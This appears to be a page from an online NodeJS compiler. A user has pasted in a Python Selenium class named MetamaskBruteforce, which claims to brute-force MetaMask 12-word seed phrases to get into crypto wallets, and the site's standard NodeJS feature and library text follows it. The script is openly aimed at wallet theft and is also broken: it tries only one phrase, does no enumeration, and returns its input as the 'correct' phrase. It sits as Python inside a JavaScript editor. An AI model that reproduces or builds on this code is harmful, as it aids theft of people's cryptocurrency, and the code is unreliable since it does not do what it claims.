console.log("Hello, World!");

from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC

class MetamaskBruteforce:
    """
    Class to perform a brute force attack on a Metamask 12-word seed phrase using Selenium and the Metamask Google extension.

    Attributes:
    - seed_phrase: str
        The 12-word seed phrase to be bruteforced.
    - chrome_driver_path: str
        The path to the Chrome driver executable.
    - extension_path: str
        The path to the Metamask Google extension.
    """

    def __init__(self, seed_phrase: str, chrome_driver_path: str, extension_path: str):
        """
        Constructor to instantiate the MetamaskBruteforce class.

        Parameters:
        - seed_phrase: str
            The 12-word seed phrase to be bruteforced.
        - chrome_driver_path: str
            The path to the Chrome driver executable.
        - extension_path: str
            The path to the Metamask Google extension.
        """

        self.seed_phrase = seed_phrase
        self.chrome_driver_path = chrome_driver_path
        self.extension_path = extension_path

    def bruteforce_seed_phrase(self):
        """
        Performs the brute force attack on the seed phrase using Selenium and the Metamask Google extension.

        Returns:
        - str:
            The correct seed phrase if found, otherwise returns None.
        """

        # Set up Chrome options with the Metamask extension
        options = Options()
        options.add_extension(self.extension_path)

        # Set up Chrome driver
        driver = webdriver.Chrome(self.chrome_driver_path, options=options)

        try:
            # Open a new Chrome window
            driver.get("chrome://newtab")

            # Wait for the Metamask extension to load
            WebDriverWait(driver, 10).until(EC.presence_of_element_located((By.ID, "metamask-mascot-container")))

            # Click on the Metamask extension icon
            driver.find_element(By.ID, "metamask-mascot-container").click()

            # Switch to the Metamask extension window
            driver.switch_to.window(driver.window_handles[-1])

            # Wait for the seed phrase input field to appear
            WebDriverWait(driver, 10).until(EC.presence_of_element_located((By.XPATH, "//input[@placeholder='Paste Secret Recovery Phrase']")))

            # Enter the seed phrase
            driver.find_element(By.XPATH, "//input[@placeholder='Paste Secret Recovery Phrase']").send_keys(self.seed_phrase)

            # Click on the "Import" button
            driver.find_element(By.XPATH, "//button[contains(text(), 'Import')]").click()

            # Check if the seed phrase is correct
            WebDriverWait(driver, 10).until(EC.presence_of_element_located((By.XPATH, "//div[contains(text(), 'Confirm Seed Phrase')]")))

            # Return the correct seed phrase
            return self.seed_phrase

        except Exception as e:
            # Handle any exceptions that occur during the brute force attack
            print(f"Error during seed phrase bruteforce: {e}")

        finally:
            # Close the Chrome driver
            driver.quit()

        # Return None if the correct seed phrase is not found
        return None

# Example usage of the MetamaskBruteforce class:

# Initialize the MetamaskBruteforce class
bruteforce = MetamaskBruteforce("example seed phrase", "path/to/chromedriver", "path/to/metamask/extension")

# Perform the brute force attack on the seed phrase
result = bruteforce.bruteforce_seed_phrase()

# Print the result
if result:
    print(f"The correct seed phrase is: {result}")
else:
    print("The correct seed phrase was not found.") 

NodeJS Online Compiler

Write, Run & Share NodeJS code online using OneCompiler's NodeJS online compiler for free. It's one of the robust, feature-rich online compilers for NodeJS language,running on the latest LTS version NodeJS 16.14.2. Getting started with the OneCompiler's NodeJS editor is easy and fast. The editor shows sample boilerplate code when you choose language as NodeJS and start coding. You can provide the dependencies in package.json.

About NodeJS

Node.js is a free and open-source server environment. Node.js is very popular in recent times and a large number of companies like Microsoft, Paypal, Uber, Yahoo, General Electric and many others are using Node.js.

Key features

  • Built on Google chrome's javascript engine V8 and is pretty fast.
  • Node.js was developed by Ryan Dahl in 2009.
  • Server-side platform for building fast and scalable applications.
  • Node.js is Asynchronous, event-driven and works on single-thread model thus eliminating the dis-advantages of multi-thread model.
  • Supports various platforms like Windows, Linux, MacOS etc.
  • Provides rich library of java script modules which simplifies the development efforts.
  • Released under MIT license.

Express Framework

Express is one of the most popular web application framework in the NodeJS echosystem.

  • Pretty fast
  • Minimalist
  • Unopinionated
  • Very flexible

Syntax help

Examples

Using Moment

let moment = require('moment');

console.log(moment().format('MMMM Do YYYY, h:mm:ss a'));

Using Lodash

const _ = require("lodash");

let colors = ['blue', 'green', 'yellow', 'red'];

let firstElement = _.first(colors);
let lastElement = _.last(colors);

console.log(`First element: ${firstElement}`);
console.log(`Last element: ${lastElement}`);

Libraries supported

Following are the libraries supported by OneCompiler's NodeJS compiler.

  • lodash
  • moment
  • underscore
  • uuid
  • ejs
  • md5
  • url